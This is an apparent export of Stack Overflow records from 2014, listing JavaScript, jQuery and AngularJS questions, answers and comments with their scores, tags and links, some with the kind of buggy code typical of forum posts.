has text: This looks to be at least on the right lines. Some possible improvements - (a) purge the [Deferred anti-pattern](https://github.com/petkaantonov/bluebird/wiki/Promise-anti-patterns), (b) change `.done()` to `.then()` and purge the first inner `.then()`, (c) use `$http.get()` for the inner requests, (d) rearrange to avoid unnecessary assignments. For some reason I don't understand, `$http.get().then()` delivers more comprehensive data than `$http.get().success()` but the necessary data reduction is quite trivial.

http://stackoverflow.com/a/25699111
downvote count: 1
answers question: http://stackoverflow.com/q/25699029
type: Answer
upvote count: 0
has comment: http://stackoverflow.com/comment/40169192
has comment: http://stackoverflow.com/comment/40177081
score: -1
has body: the problem is that you used if condition if(obj.scrollHeight &gt; obj.offsetHeight) according to this browser is not commanded to look when it is smaller so set a condition var obj = document.getElementById("i3"); if(obj.scrollHeight &gt; obj.offsetHeight) { obj.style.height = obj.scrollHeight + 'px'; } else if(obj.scrollHeight &lt; obj.offsetHeight) { obj.style.height = obj.scrollHeight - 'px'; } i think it will help but i didn't tried it yet so sorry if I am worng
has comment: http://stackoverflow.com/comment/40169103

http://stackoverflow.com/q/25672688
has comment: http://stackoverflow.com/comment/40120622
tagged with: inheritance
favorite count: 0
has body: I wonder if it's possible to instantiate subclasses in javascript by automatically using the super class's constructor. Consider this (inspired by this other question here on SO): function A(prop) { this.prop = prop; } A.prototype.whatAmI = function() { console.log( "I'm an instance of %s, my prop is %s", this instanceof A1? "A1" : "A2", this.prop ); }; function A1() { A.apply(this, arguments); } A1.prototype = new A(); A1.prototype.constructor = A1; function A2() { A.apply(this, arguments); } A2.prototype = new A(); A2.prototype.constructor = A2; var a1 = new A1("foo").whatAmI(); //I'm an instance of A1, my prop is foo var a2 = new A2("bar").whatAmI(); //I'm an instance of A2, my prop is bar However, referring to this article, in the first example I came across this line of code: Cat.prototype.constructor = Cat; //Otherwise instances of Cat would have a constructor of Mammal I thought that's exactly what I needed: that instances of A1 and A2 have the constructor of A. Unfortunately commenting out A1.prototype.constructor = A1 and emptying A1's body (same goes for A2) does not work: function A1() {} A1.prototype = new A(); function A2() {} A2.prototype = new A(); var a1 = new A1("foo").whatAmI(); //I'm an instance of A1, my prop is undefined var a2 = new A2("bar").whatAmI(); //I'm an instance of A2, my prop is undefined Finally, changing A's constructor to use the arguments object instead of explicitly passing prop has no effect either: function A() { this.prop = arguments[0]; } Is it even possible, with a little fiddling around with the prototype property, to achieve what I want?
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/25672875
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/7785955
has title: Inherit and use super class's constructor in javascript
linked to: http://stackoverflow.com/q/12622137
type: Question
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/25672875
tagged with: javascript

http://stackoverflow.com/q/25627352
has answer: http://stackoverflow.com/a/25627409
type: Question
score: 1
has title: Unexpected token ILLEGAL ajax post
has answer: http://stackoverflow.com/a/25627404
upvote count: 2
answer count: 3
possible better answer: http://stackoverflow.com/a/25627404
downvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: ajax
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25627389
accepted answer: http://stackoverflow.com/a/25627389
has body: I am getting the below error in the console log: "Uncaught SyntaxError: Unexpected token ILLEGAL" on 7 line (url: ...). If I comment line 7, I get this: "Uncaught SyntaxError: Unexpected token ILLEGAL" on 8 line. I am using jquery-2.1.0. Here is my code: var main = function(){ $('.btn').click(function(){ var sumCalc = $('#fieldname4_1').text(); var phone = $('#fieldname18_1').text(); var adminEmail = "thedrgef@gmail.com"; $.ajax({ url: “https://mandrillapp.com/api/1.0/messages/send.json”, type: “POST”, data: { ‘key’: ‘some key here’, ‘message’: { ‘from_email’: ‘some mail’, ‘to’: [{ ‘email’: adminEmail, ‘name’: ‘admin’, ‘type’: ‘to’ }], ‘autotext’: ‘true’, ‘subject’: ‘subj’, ‘html’: ‘ hello dats phone: ’ + phone } } }) .done(function(response) { console.log(response); // if you're into that sorta thing }); }); } $(document).ready(main);

http://stackoverflow.com/a/25590876
has body: Define a variable used to count, and increase it by one every time you print the page. var printed = 0; function printPage() { print(); // "window." isn't needed printed += 1; // Adds 1 alert(printed); // Alerts you overall how many times };
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25590799
has comment: http://stackoverflow.com/comment/39971997

http://stackoverflow.com/q/25624811
tagged with: angularjs
type: UnansweredQuestion
has title: Angular While enabling html5mode gives Error: $rootScope:infdig Infinite $digest Loop
score: 1
upvote count: 1
type: Question
tagged with: angularjs-directive
has comment: http://stackoverflow.com/comment/40036001
tagged with: javascript
tagged with: angularjs-scope
has body: When I try to remove the # character from the URL by enabling the html5mode to true, it gives the following error for the initial loading: Error: $rootScope:infdig Infinite $digest Loop When the html5mode is false everything works fine.
has answer: http://stackoverflow.com/a/36900732
answer count: 1
has comment: http://stackoverflow.com/comment/41603687
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/39914552
type: Comment
type: QuestionComment
has text: MVC is a .. bucket term. Consider that Angular (as do KO and Kendo) work based on a declarative-observable model; which means that bucket-term statements need to be further applied in context.
comment on: http://stackoverflow.com/q/25560014
score: 0

ruby
tags question: http://stackoverflow.com/q/25678338
tags question: http://stackoverflow.com/q/25635395
tags question: http://stackoverflow.com/q/25657046
tag name: ruby
tags question: http://stackoverflow.com/q/25617395
tags question: http://stackoverflow.com/q/25705397
tags question: http://stackoverflow.com/q/25588301
tags question: http://stackoverflow.com/q/25701799
tags question: http://stackoverflow.com/q/25684787
tags question: http://stackoverflow.com/q/25640282
type: Tag
tags question: http://stackoverflow.com/q/25632883

http://stackoverflow.com/a/25632385
answers question: http://stackoverflow.com/q/25632110
score: 0
has body: You can use caching with your PHP script. Create an PHP script, and pass the image name as parameter. In php script, just use header() function, to control browser cache. Set cache expire time in header function. As Browser maintains cache via HTTP headers. Then after sending header for cache control. Send another header for image, After sending image header, read the raw contents of image, just send the output of image contents in binary stream. Here is a good example of code explained http://www.informatics-tech.com/how-to-leverage-browser-caching-without-htaccess.html Happy Coding Atul Jindal
type: Answer

http://stackoverflow.com/comment/39985099
type: Comment
type: QuestionComment
score: 2
has text: Could you test the pixel value at the point of intersection?
comment on: http://stackoverflow.com/q/25597978

http://stackoverflow.com/comment/40169053
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25685444
has text: Yes, I would like to have a series of client-side scripts (HTMLs, JSs, etc.) that use that "WebSocketClient.html" file as a "callable" API to send different messages to the server through that very socket... It is possible?
score: 0

http://stackoverflow.com/comment/39980551
type: QuestionComment
comment on: http://stackoverflow.com/q/25595464
has text: @FelixKling you are right I do have a reference to parent. But as RobW stated in first comment, if I override an instance of Parent using Child.prototype.xxx, I will no longer have that reference to parent, no?
score: 0
type: Comment

http://stackoverflow.com/a/25615425
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25615313
type: Answer
downvote count: 0
score: 7
has comment: http://stackoverflow.com/comment/40017054
answers question: http://stackoverflow.com/q/25615313
has body: var arr = []; for(var p in Object.getOwnPropertyNames(a)) { arr[p] = a[p]; }
upvote count: 7

http://stackoverflow.com/a/25604096
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Since the width of images is vary, you could use CSS transform translate() expression with a percentage value to move images to a side with the respect to their width value: EXAMPLE HERE #collage-container { height: 200px; position: relative; } #collage-container img { height: 100%; /* As tall as the container */ width: auto; float: left; } #collage-container img + img { /* Move the second image 50% of its width */ transform: translateX(-50%); /* to the left */ } It's worth noting that CSS transforms are supported in IE9+
has comment: http://stackoverflow.com/comment/40020505
upvote count: 3
has comment: http://stackoverflow.com/comment/39996505
answers question: http://stackoverflow.com/q/25603822
score: 3
accepted answer of: http://stackoverflow.com/q/25603822

http://stackoverflow.com/comment/39953022
has text: It is an alternative, alright, but you didn't answer the part whether my version is considered bad style.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25580419
type: AnswerComment

http://stackoverflow.com/q/25680178
has title: angular - controller excute more than 1 time
has answer: http://stackoverflow.com/a/25682738
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40134856
tagged with: angularjs
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40135728
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25680548
answer count: 2
tagged with: javascript
has body: I know it's asked before, but can't find solution that works for me. I get each controller start 3 times! It's problematic for me because I have sound in my app and it's display 3 times. I'm new to angular. i don't know if it's meaningful but i have all controllers defined in one file controllers.js. I check and the file app.js called only once. this is my app.js: 'use strict'; /* App Module */ var phonecatApp = angular.module('phonecatApp', [ 'ngRoute', 'phonecatAnimations', 'ui.router', 'phonecatControllers', 'phonecatFilters', 'phonecatServices', 'ui.utils', 'angularCircularNavigation', 'timer' ]); phonecatApp.config(['$stateProvider', function ($stateProvider, $urlRouterProvider) { var home = { name: 'home', url: '', views: { '': { templateUrl: 'partials/home.html', controller: 'HomeCtrl' } } }; var learn = { name: 'learn', url: '/learn', views: { '': { templateUrl: 'partials/learn.html', controller: 'learnCtrl' } } }; var articles = { name: 'articles', url: '/articles', views: { '': { templateUrl: 'partials/articles.html', controller: 'articlesCtrl' } } }; $stateProvider.state(articles); $stateProvider.state(learn); $stateProvider.state(home); } ]); thanks!

http://stackoverflow.com/q/25570049
has comment: http://stackoverflow.com/comment/39934530
has comment: http://stackoverflow.com/comment/40247429
has comment: http://stackoverflow.com/comment/39933564
type: UnansweredQuestion
has body: I have a responsive div (.container) that contains a row of nested divs (.imgWrapper) that each contain an image (.imgWrapper img). The purpose of the following code is to make all images the same height while still fitting in one row in the container despite all images being a different proportion to one another (i.e. landscape and portrait) var totalHeight = 100; var totalWidth = 1; $('.imgWrapper').each(function(){ totalWidth += $(this).outerWidth(); }); var containerWidth = $('.container').width(); var ratio = totalWidth / totalHeight; var containerHeight = containerWidth / ratio; $('.container').css('height',containerHeight + "px"); $('.imgWrapper img').css('height',containerHeight + "px"); var newTotalWidth = 0; $('.imgWrapper').each(function(){ newTotalWidth += $(this).outerWidth(); }); $('.container').css('width',newTotalWidth + "px"); }); }); This all works great if there is only one div with the class '.container', however as soon as I add div with the same class, the function is applied to all images instead of images in each '.container' div. How to I apply this function to each '.container' div one at a time? Here is a jsfidde example: http://jsfiddle.net/tbbeqcqb/
tagged with: css
type: Question
answer count: 1
tagged with: javascript
tagged with: jquery
has title: Making a function work in all divs with the same class using jquery
has answer: http://stackoverflow.com/a/25571499
has comment: http://stackoverflow.com/comment/39933526
score: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25599215
accepted answer: http://stackoverflow.com/a/25599247
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25599338
has title: Innerhtml dynamic image loading not working
score: 0
type: Question
has answer: http://stackoverflow.com/a/25599247
answer count: 3
has body: I have an image `&lt;img src="../images/Editing-Edit-icon.png" data-toggle="modal" data-target=".editButton" id="deleteBtn"/&gt;` and a button `&lt;button onclick="loadImage()"&gt;` I am trying to load img inside a div on button click, like the follows: function loadImage(){ cell1.innerHTML = document.getElementById("deleteBtn").value; } But it is not working. How can I do that?
possible better answer: http://stackoverflow.com/a/25599243
tagged with: javascript
has answer: http://stackoverflow.com/a/25599243
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40009340
comment on: http://stackoverflow.com/a/25602950
has text: @Victor, could you maybe accept this as the answer. THNX in advance
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40051420
has text: Nobody's going to vote up or accept "answers" like this, so don't expect to be getting any reputation from this. Try to find questions which you can answer well instead of posting stuff like this
type: Comment
comment on: http://stackoverflow.com/a/25633968
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39924533
comment on: http://stackoverflow.com/q/25564719
type: Comment
type: QuestionComment
score: 1
has text: Why not use differential deploy process? It's when you deploy to client only changed things. Files in the node_modules directory usually not so often changes. But it could be problem when you have only FTP access, in this case you will need to prepare differential release by yourself. Try to look at [grunt-newer](https://www.npmjs.org/package/grunt-newer).

http://stackoverflow.com/q/25687161
tagged with: jquery
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25689795
score: 0
has body: I am working on a jQuery markdown script. It makes words wrapped in double asterisks in bold (just like the editor here. Also, if you start your sentence with a &gt; symbol: &gt; Hello World. It wraps the sentence into blockquote. It works great, see it in action here: http://jsfiddle.net/pezbdt2h/ Now, I want to improve this part of the code so that if the sentence starts with a P tag and has an great than symbol at the beginning, then it should wrap the sentence into blockquote as well: &lt;p&gt;&gt; Hello World. Here is the code: function markdown(markdownableOrg) { var bold = /\*\*(\S(.*?\S)?)\*\*/gm; var dataArray=markdownableOrg.split("\n"); var data=[]; for(var i=0;i&lt;dataArray.length;i++) { var markdownable =dataArray[i]; markdownable = markdownable.replace(bold, '&lt;span style="font-weight:bold"&gt;$1&lt;/span&gt;'); if (markdownable.indexOf("&amp;gt;") == 0) { markdownable = markdownable.replace("&amp;gt;", "&lt;blockquote&gt;"); markdownable += "&lt;/blockquote&gt;"; } data.push(markdownable) } return data.join("\n"); } How do I enhance the code so that it detects &lt;p&gt;&gt; as well and wraps it into blockquote? I suppose an AND/OR type of question within the code.
type: Question
has comment: http://stackoverflow.com/comment/40146683
has comment: http://stackoverflow.com/comment/40146586
tagged with: javascript
has comment: http://stackoverflow.com/comment/40188538
has comment: http://stackoverflow.com/comment/40146531
has title: Enhance jQuery markdown code
tagged with: markdown
has comment: http://stackoverflow.com/comment/40146789
answer count: 1

http://stackoverflow.com/q/25702662
accepted answer: http://stackoverflow.com/a/25702730
possible better answer: http://stackoverflow.com/a/25702720
has answer: http://stackoverflow.com/a/25702720
has body: I am working on an angular project and I have a factory providing some global database methods. I tested this in a jsfiddle and it works, but I want to know if it is the right way to do it. So here's the jsFiddle. function DB () { return { newRecord: function () { //create new record var id = 3; //this is the part I am wondering about //is it ok to use this in this way?? this.setCurrentRecordId(id); }, setCurrentRecordId: function (id) { alert('setting id'); return localStorage.setItem('id', id); }, getCurrentRecordId: function () { return localStorage.getItem('id'); } } } var dbStuff = new DB(); dbStuff.newRecord(); alert(dbStuff.getCurrentRecordId()); Like I said, it seems to be working; just want to know if there is a better way or not. Thanks!
type: Question
has title: Proper way to reference js property from another property
tagged with: javascript
has comment: http://stackoverflow.com/comment/40176077
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25702730
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40175753
type: AnsweredQuestion

http://stackoverflow.com/comment/69604405
type: QuestionComment
comment on: http://stackoverflow.com/q/25674013
has text: Didn't notice any troubles with HTML5 mode during 3 years using on different websites, except svg (had some gradient paths problem, related to base as you wrote, had to specify full path)
score: 0
type: Comment

http://stackoverflow.com/q/25660204
tagged with: javascript
tagged with: base64
score: 0
linked to: http://stackoverflow.com/q/20600800
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: twitter-bootstrap
type: UnansweredQuestion
has body: I have a functionality in a web app that opens up a Bootstrap modal window on uploading a profile picture. It allows the user to crop and finalize the profile display. I found out that sometimes the orientation of photos can be messed up. I added a few parts to check the EXIF orientation data of the images and rotate and fix them accordingly. Now even though it looks like the logic is right, I can't wrap my head around the context and canvas concept of HTML 5 because the end result quite obviously shows I'm missing something. Here is the modal load handler: $("#imageJcrop").on ("shown.bs.modal", function(e) { var img = new Image(); img.onload = function(){ var canvas = document.createElement("canvas"); canvas.height = img.height; canvas.width = img.width; var ctx = canvas.getContext("2d"); ctx.translate(canvas.width/2, canvas.height/2); //..check orientation data, this code assumes the case where its oriented 90 degrees off ctx.rotate(90 * Math.PI / 180); ctx.drawImage(img, 0, 0); $(".editPhoto").attr("src", canvas.toDataURL("image/jpeg")); $('&lt;img id="cropbox" class="img-responsive" exif="true" src="' + canvas.toDataURL("image/jpeg") + '"&gt;').load(function() { spinner.stop(); $(this).appendTo($("#imageJcrop .modal-body #cropbox-container")); $('#cropbox').Jcrop({ onChange: update_crop, onSelect: update_crop, setSelect: [0, 0, 300, 300], aspectRatio: 1, bgColor: 'white' }); }); }; }); (I can't post the images so I'm pasting the imgur links here) The actual image without the above code being applied: http://i.imgur.com/jffkaUu.png After applying the HTML5 canvas and context transformation http://i.imgur.com/D9qQKHZ.png Where am I going wrong with this?
has title: Rotate Base64 image data with HTML 5 canvas: final transformation is cropped and wrongly translated
has answer: http://stackoverflow.com/a/26086098
type: Question
tagged with: canvas

http://stackoverflow.com/q/25564139
tagged with: internet-explorer
tagged with: caching
has comment: http://stackoverflow.com/comment/39922245
type: Question
has answer: http://stackoverflow.com/a/25564631
has comment: http://stackoverflow.com/comment/39922470
has comment: http://stackoverflow.com/comment/39922143
answer count: 1
tagged with: javascript
linked to: http://stackoverflow.com/q/16098430
has comment: http://stackoverflow.com/comment/39922784
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25564631
tagged with: angularjs
upvote count: 2
has title: angularjs IE Cache buster works, but breaks directive
has body: I have had a problem with IE caching everything, so if i switched user, i would still see data from the old user which is not logged in anymore. I tried this solution (found at : Angular IE Caching issue for $http ), and it worked but now my directive can't GET the template it needs, how can i get both things to work ? code: app.config(['$httpProvider', function ($httpProvider) { //initialize get if not there if (!$httpProvider.defaults.headers.get) { $httpProvider.defaults.headers.get = {}; } console.log($httpProvider.defaults.headers.get['If-Modified-Since']); //disable IE ajax request caching $httpProvider.defaults.headers.get['If-Modified-Since'] = '0'; }]); My directive: app.directive('commentsContainer', function (commentResource, signalRService) { return { restrict: 'EAC', templateUrl: '/Templates/Directives/_Comments.html', link: function ($scope) { //CODE } } EDIT! it get an error no matter which browser, here is the one from chrome : GET http://localhost:58991/Templates/Directives/_Comments.html 400 (Bad Request) Error: [$compile:tpload] Failed to load template: /Templates/Directives/_Comments.html Without the angular snippit for caching, it works fine.. Hope you can help!
score: 2
type: AnsweredQuestion

http://stackoverflow.com/a/25555064
score: 0
has body: The mouse event was causing an error here is a working code pen http://codepen.io/leighquince/pen/JAFmt There is also no need to redelare them as the listeners are still on the rectangles from when you first declare them. Oh also I removed the -512 from .attr("x", function(d) {return xScale(d) -512;}) and replaced it with .attr("x", function(d) {return xScale(d) -20;}) so that the text appears at the end of the bar
type: Answer
answers question: http://stackoverflow.com/q/25554742

http://stackoverflow.com/a/25582169
accepted answer of: http://stackoverflow.com/q/25582060
answers question: http://stackoverflow.com/q/25582060
type: Answer
has body: FIDDLE According to the documentation You need to add this file //connect.facebook.net/sv_SE/all.js This one works without that part
has comment: http://stackoverflow.com/comment/39956840
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39959134

http://stackoverflow.com/comment/40024673
has text: I need to destroy all session variables at once, How can I do it??
comment on: http://stackoverflow.com/a/25615335
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/39993359
type: QuestionComment
has text: You've put text in it, what exactly do you expect. Also stroke-width does not apply to html text FWIW.
score: 0
comment on: http://stackoverflow.com/q/25602596
type: Comment

http://stackoverflow.com/comment/40074006
type: QuestionComment
has text: what would "the other side" look like?
comment on: http://stackoverflow.com/q/25646220
score: 0
type: Comment

http://stackoverflow.com/a/25702195
has comment: http://stackoverflow.com/comment/40174579
answers question: http://stackoverflow.com/q/25702103
has comment: http://stackoverflow.com/comment/40186781
has comment: http://stackoverflow.com/comment/40174940
score: 0
has comment: http://stackoverflow.com/comment/40185549
has comment: http://stackoverflow.com/comment/40174535
has body: You can wrap your current code in a for loop which will append a new row to the table for each record that you are iterating over. for(i=0; i&lt;data.length; i++){ var html = $('&lt;tr&gt;&lt;td&gt;&lt;input type=\"text\" name=\"name\"&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=\"text\" name=\"email\"&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=\"text\" name=\"contact-number\"&gt;&lt;/td&gt;&lt;/tr&gt;'); $('table#user-data').append(html); } You can then use i+1 as the value for the row number
has comment: http://stackoverflow.com/comment/40175030
has comment: http://stackoverflow.com/comment/40174558
type: Answer
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/25691442
has answer: http://stackoverflow.com/a/25691482
has comment: http://stackoverflow.com/comment/40154914
has title: ReferenceError: event is not defined
score: -6
has answer: http://stackoverflow.com/a/25691585
type: UnansweredQuestion
downvote count: 6
has body: Whenever I press enter I get a ReferenceError in firefox and also Internet explorer. Does anyone know how to fix this please? :) function status_post_comment(id) { if(event.which == 13 &amp;&amp; !event.shiftKey) { var check_comment = $.trim($('#status_comment_'+id).val()); var comment = $('#status_comment_'+id).val(); if(check_comment.length &gt;0) { $.ajax({ type: 'POST', url: '&lt;?php echo $domain; ?&gt;social/comment_ajax.php', data: 'id='+id+'&amp;comment='+comment, success: function(result) { $('#append_comment_status_'+id).append(result); $('#status_comment_'+id).val(''); $(".timeago").timeago(); $('.comment_input').val(''); } }); } } }
has comment: http://stackoverflow.com/comment/40154908
type: Question
answer count: 2
upvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40155052
favorite count: 0

http://stackoverflow.com/comment/39973250
type: QuestionComment
comment on: http://stackoverflow.com/q/25591407
type: Comment
score: 1
has text: @w0051977 what he means it that you put it as a string value of a json property. Like `{"video": "[binary]"}`

http://stackoverflow.com/comment/40155010
score: 0
type: AnswerComment
type: Comment
has text: @Kai - I thought that he has mistakenly done it. Yes field names have been repeated in several places and could be some other language, but I thank you for clearing one point. i.e db could me the table name. Tks man
comment on: http://stackoverflow.com/a/25691373

http://stackoverflow.com/a/25706988
has body: The img tag has load event. You coluld take control of them, for example consider your images have class .preloaded-image, we make a flag for each one to know which item is loaded. We'll add a class, like image-loaded to each one, when the loading of image has finished: $('.preloaded-image').on('load', function () { // set the flag $(this).addClass('image-loaded'); // run the callback showPage(); }); function showPage() { // we check for all images // if all images has loaded // we'll show the page var items = $('.preloaded-image').length; var loaded = $('.image-loaded').length; // if items and loaded are equal // all images has loaded if (items != loaded) { // do nothing as all images hasn't loaded yet return; } // all images has loaded // show the page alert('I will show the page'); }
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25706941
score: 1
upvote count: 1

http://stackoverflow.com/q/25659603
has body: I want to try to refresh the page after submitting the form but i can not find the solution how to refresh the web page using php. Please help me out.
has answer: http://stackoverflow.com/a/25659765
tagged with: ajax
possible better answer: http://stackoverflow.com/a/25659686
tagged with: php
has answer: http://stackoverflow.com/a/25659686
type: AnsweredQuestion
has title: Refresh Web Page only once after submitting the form?
has answer: http://stackoverflow.com/a/25659642
accepted answer: http://stackoverflow.com/a/25659765
has comment: http://stackoverflow.com/comment/40097318
type: Question
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40097295
has comment: http://stackoverflow.com/comment/40097477
has comment: http://stackoverflow.com/comment/40097691
answer count: 3

http://stackoverflow.com/a/25604379
answers question: http://stackoverflow.com/q/25604320
downvote count: 0
score: 1
has body: When generating JSON string, escape all keys and values val.replace('"', '\"'); //json_encode($fullArray); in PHP will escape automatically. so that "alert("hi");" becomes "alert(\"hi\")"
has comment: http://stackoverflow.com/comment/39997053
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/45623882

http://stackoverflow.com/a/39502435
type: Answer
has body: I did this by prepend. query.orderByChild('sell').limitToLast(4).on("value", function(snapshot){ snapshot.forEach(function (childSnapshot) { // PREPEND }); });
answers question: http://stackoverflow.com/q/25611356
score: 0

http://stackoverflow.com/comment/40136797
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25681206
has text: hi @Nilolas i want to add some dynamic data in my list how is do please help me my url is http://plnkr.co/edit/e69pNXXE0Tg9EHUAfcYy?p=preview
type: Comment

http://stackoverflow.com/comment/40157755
has text: Can you show the output for `console.log(this.model)` ?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25692812

http://stackoverflow.com/a/25659422
has comment: http://stackoverflow.com/comment/40098010
has comment: http://stackoverflow.com/comment/40102136
has comment: http://stackoverflow.com/comment/40101046
score: 0
type: Answer
has body: First, it is a little bit strange that in all your loops you are looping through itemarr2, so i do not understand why don't you have only one loop with all the logic inside. Secondly you are looping through itemarr2 and then using the current index of itemarr2 to access and assign values in other arrays. If any of this arrays has a smaller size than itemarr2 you will get an array indexOutofbound exception. for(int i=1;i&lt;itemarr2.length;i++) { kotarr2[i]=Integer.parseInt(kotCB2[i]); //If size of itemarr2 is bigger than kotarr2 or is bigger than kotCB2. You will get an array indexOutofbound exception. } for(int i=1;i&lt;itemarr2.length;i++) { itemarr2[i]=Integer.parseInt(itemCB2[i]); //If size of itemarr2 is bigger than itemCB2. You will get an array indexOutofbound exception. } for(int i=1;i&lt;itemarr2.length;i++) { statarr2[i]=Integer.parseInt(statCB2[i]); //If size of itemarr2 is bigger than statarr2 or is bigger than statCB2. You will get an array indexOutofbound exception. } for(int i=1;i&lt;itemarr2.length;i++) { int kotint2=kotarr2[i]; //If size of itemarr2 is bigger than kotarr2. You will get an array indexOutofbound exception. int itemint2=itemarr2[i]; //If size of itemarr2 is bigger than itemarr2. You will get an array indexOutofbound exception. int statint2=statarr2[i]; //If size of itemarr2 is bigger than statarr2. You will get an array indexOutofbound exception. System.out.println( i+"the value of kot in available"+ kotint2); int availablebill = websrv.availablebill(billdetails_be.billno, kotint2, itemint2,statint2); } So you must ensure that the size of kotarr2, kotCB2, itemCB2, statarr2, statCB2 is always bigger or equal to the size of itemarr2, and as i said you can pul all that logic insdide of a single loop. Regarding your Js file we need to see how you set your count, but if the value of your count is bigger than the size of your dropdown1 then You will get an array indexOutofbound exception. UPDATE: You said that count = 18, but you do not init…
answers question: http://stackoverflow.com/q/25658554
has comment: http://stackoverflow.com/comment/40101824
has comment: http://stackoverflow.com/comment/40102228
has comment: http://stackoverflow.com/comment/40101652

http://stackoverflow.com/comment/39954639
score: 0
comment on: http://stackoverflow.com/q/25581299
type: Comment
type: QuestionComment
has text: You can put the p variable outside the first callbackFunction1, then use it, as a normal variable, inside callbackFunction2.

http://stackoverflow.com/q/25577217
has answer: http://stackoverflow.com/a/25577415
has body: I want to know the commend used to change the value of data on spacific row, colum from 0 to 1 or from 1 to 0 or from " " to 1 or 2 as you can see i only need some basic info and i think my code then would run without any problems. here is my code so far //start of accepted or rejected function acceptreject() { var sheet = SpreadsheetApp.getActiveSheet(); var data = sheet.getDataRange().getValues(); var numRows = sheet.getLastRow() - 1; for(var k = 0; k &lt; numRows;k++) { for(var i = 0; i &lt; data.length; ++i) { var row = data[i]; var email_address = row[3]; var accepted_rejected = row[8]; var email_sent = row[9]; } if(accepted_rejected = "1") { if(email_sent = "0") { GmailApp.sendEmail(email_address, ":D You Got Accepted :D", ""); email_sent = "1"; } else if(email_sent = "1") { } else { } } else if(accepted_rejected = "0") { if(email_sent = "0") { GmailApp.sendEmail(email_address, ":'( You Got Rejected :'(", "We are sorry but your place got filled. Try again the next recruitment don’t forget to follow the technologies and upgrade yourself by self-learning. Thank you for cooperation and understanding!"); email_sent = "1"; } else if(email_sent = "1") { } else { } } else { GmailApp.sendEmail("name@somewhere.com","New Recruitment ;)", "New Recruitment Need Appointment for Interview"); } } } //end of accepted or rejected
type: AnsweredQuestion
has title: Editing data in Google Spreedsheet using Google Script
accepted answer: http://stackoverflow.com/a/25577415
type: Question
tagged with: google-sheets
tagged with: javascript
tagged with: google-apps-script
score: 0
answer count: 1

http://stackoverflow.com/q/25601549
duplicate of: http://stackoverflow.com/q/4338538
tagged with: jsf
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39991646
has comment: http://stackoverflow.com/comment/39991417
tagged with: javascript
has answer: http://stackoverflow.com/a/25602179
has body: Suppose I've a servlet which contains the following script inside: &lt;script type="text/javascript" id="form_submit_for_custom_sorting"&gt; var list = document.getElementsByClassName("a-custom-sorting"); var submitField = document.getElementById("fsp"); function foo(){ for (var i = 0; i &lt; list.length; i++){ //line 659 list[i].onclick = function(){ submitField.value = this.id; }; }; }(); document.getElementById("statisticForm").submit(); &lt;/script&gt; The following exception is thrown: EVERE: Error Rendering View[/statistics.jspx] com.sun.facelets.FaceletException: Error Parsing /statisticsBase.jspx: Error Traced[line: 659] The content of elements must consist of well-formed character data or markup. at com.sun.facelets.compiler.SAXCompiler.doCompile(SAXCompiler.java:234) at com.sun.facelets.compiler.Compiler.compile(Compiler.java:104) at com.sun.facelets.impl.DefaultFaceletFactory.createFacelet(DefaultFaceletFactory.java:192) at com.sun.facelets.impl.DefaultFaceletFactory.getFacelet(DefaultFaceletFactory.java:141) at com.sun.facelets.impl.DefaultFacelet.include(DefaultFacelet.java:293) at com.sun.facelets.impl.DefaultFacelet.include(DefaultFacelet.java:273) at com.sun.facelets.impl.DefaultFaceletContext.includeFacelet(DefaultFaceletContext.java:143) at com.sun.facelets.tag.ui.CompositionHandler.apply(CompositionHandler.java:113) at com.sun.facelets.compiler.NamespaceHandler.apply(NamespaceHandler.java:49) at com.sun.facelets.compiler.EncodingHandler.apply(EncodingHandler.java:25) at com.sun.facelets.impl.DefaultFacelet.apply(DefaultFacelet.java:95) at com.sun.facelets.FaceletViewHandler.buildView(FaceletViewHandler.java:510) at com.sun.facelets.FaceletViewHandler.renderView(FaceletViewHandler.java:553) at org.ajax4jsf.application.ViewHandlerWrapper.renderView(ViewHandlerWrapper.java:100) at org.ajax4jsf.application.AjaxViewHandler.renderView(AjaxViewHandler.java:176) at com.sun.faces.lifecycle.RenderResponsePhase.execute(RenderResponsePhase.java:109) at com.su…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39995199
type: Question
has comment: http://stackoverflow.com/comment/39991650
linked to: http://stackoverflow.com/q/4338538
accepted answer: http://stackoverflow.com/a/25602179
has title: Cannot parse a script in a facelet

http://stackoverflow.com/comment/40073216
score: 0
type: Comment
has text: ohh thx! I learned it different...i think i have to rethink something ;)
